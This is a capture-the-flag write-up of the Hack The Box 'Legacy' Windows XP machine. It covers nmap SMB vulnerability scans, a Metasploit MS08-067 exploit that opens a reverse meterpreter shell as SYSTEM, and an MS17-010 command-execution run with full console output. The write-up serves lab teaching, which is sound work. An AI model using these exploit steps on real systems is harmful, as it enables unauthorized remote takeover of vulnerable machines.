Writeup of the Legacy box
Exploiting an old SMB vulnerability to root the box.
Intro
This being an old Windows machines results in many potential exploit vectors. In this blog I aim to show the “intended” solution to the machine by abusing MS08-067.
Since the exploit immediately grants NT AUTHORITY/SYSTEM privileges, no privilege escalation will be performed. Enjoy!
Recon
As with any CTF (or pentest), we start with a Nmap scan:
1
2
3
4
5
6
7
8
9
[Jul 26, 2026 - 18:14:52 (UTC)] exegol-HTB Legacy # nmap -p- 10.129.227.181
Starting Nmap 7.93 ( https://nmap.org ) at 2026-07-26 18:14 UTC
Nmap scan report for 10.129.227.181
Host is up (0.040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
The full port Nmap scan returns only three ports, and with one of them being SMB, it’s highly likely that an exploit targeting the SMB service is the initial vector.
We can use Nmap scripts to detect potential vulnerabilities in SMB with a command like:
nmap --script "smb-vuln*" -p 445 10.129.227.181
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[Jul 26, 2026 - 18:35:43 (UTC)] exegol-HTB Legacy # nmap --script "smb-vuln*" -p 445 10.129.227.181
Starting Nmap 7.93 ( https://nmap.org ) at 2026-07-26 18:36 UTC
Nmap scan report for 10.129.227.181
Host is up (0.038s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
We can see from the Nmap scan that the SMB service is vulnerable to two CVEs. The two CVEs being CVE-2008-4250 and CVE-2017-0143 (a.k.a EternalBlue).
As the machine was released on the 15th of March 2017 - a day after EternalBlue was silently patched and a full month before it was publicly disclosed - the intended vector is most certainly CVE-2008-4250 (MS08-067).
Exploitation
Using the Metasploit module exploit/windows/smb/ms08_067_netapi we can get a full meterpreter shell as NT AUTHORITY/SYSTEM:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[Jul 26, 2026 - 18:47:30 (UTC)] exegol-HTB Legacy # msfconsole -q
msf > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) > set LHOST tun0
LHOST => tun0
smsf exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.129.227.181
RHOSTS => 10.129.227.181
msf exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.15.224:4444
[*] 10.129.227.181:445 - Automatically detecting the target...
[*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.227.181:445 - Attempting to trigger the vulnerability...
[*] Sending stage (190534 bytes) to 10.129.227.181
[*] Meterpreter session 1 opened (10.10.15.224:4444 -> 10.129.227.181:1037) at 2026-07-26 18:48:12 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
We can then quickly grab the flags that are located inside C:\Documents and Settings\john\Desktop\user.txt and C:\Documents and Settings\Administrator\Desktop\root.txt and solve the machine.
Extra Mile
If you try to exploit this machine with EternalBlue, you’ll get an error. The EternalBlue exploit works only on 64-bit machines, yet this Windows XP machine is 32-bit.
To successfully exploit the machine with MS17-010, you’ll need to use the admin/smb/ms17_010_command module to execute a command on the underlying system:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msf auxiliary(admin/smb/ms17_010_command) > run
[*] 10.129.227.181:445 - Target OS: Windows 5.1
[*] 10.129.227.181:445 - Filling barrel with fish... done
[*] 10.129.227.181:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 10.129.227.181:445 - [*] Preparing dynamite...
[*] 10.129.227.181:445 - [*] Trying stick 1 (x86)...Boom!
[*] 10.129.227.181:445 - [+] Successfully Leaked Transaction!
[*] 10.129.227.181:445 - [+] Successfully caught Fish-in-a-barrel
[*] 10.129.227.181:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 10.129.227.181:445 - Reading from CONNECTION struct at: 0x861d2228
[*] 10.129.227.181:445 - Built a write-what-where primitive...
[+] 10.129.227.181:445 - Overwrite complete... SYSTEM session obtained!
[+] 10.129.227.181:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.129.227.181:445 - Getting the command output...
[*] 10.129.227.181:445 - Executing cleanup...
[+] 10.129.227.181:445 - Cleanup was successful
[+] 10.129.227.181:445 - Command completed successfully!
[*] 10.129.227.181:445 - Output for "dir C:\":
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\
16/03/2017 08:30 0 AUTOEXEC.BAT
16/03/2017 08:30 0 CONFIG.SYS
16/03/2017 09:07 <DIR> Documents and Settings
29/12/2017 11:41 <DIR> Program Files
01/08/2026 12:27 <DIR> WINDOWS
2 File(s) 0 bytes
3 Dir(s) 6.400.348.160 bytes free
[*] 10.129.227.181:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/smb/ms17_010_command) >
This isn’t the only way to have MS17-010 work, so give it a try and get a full shell!
I’ll catch you in the next writeup.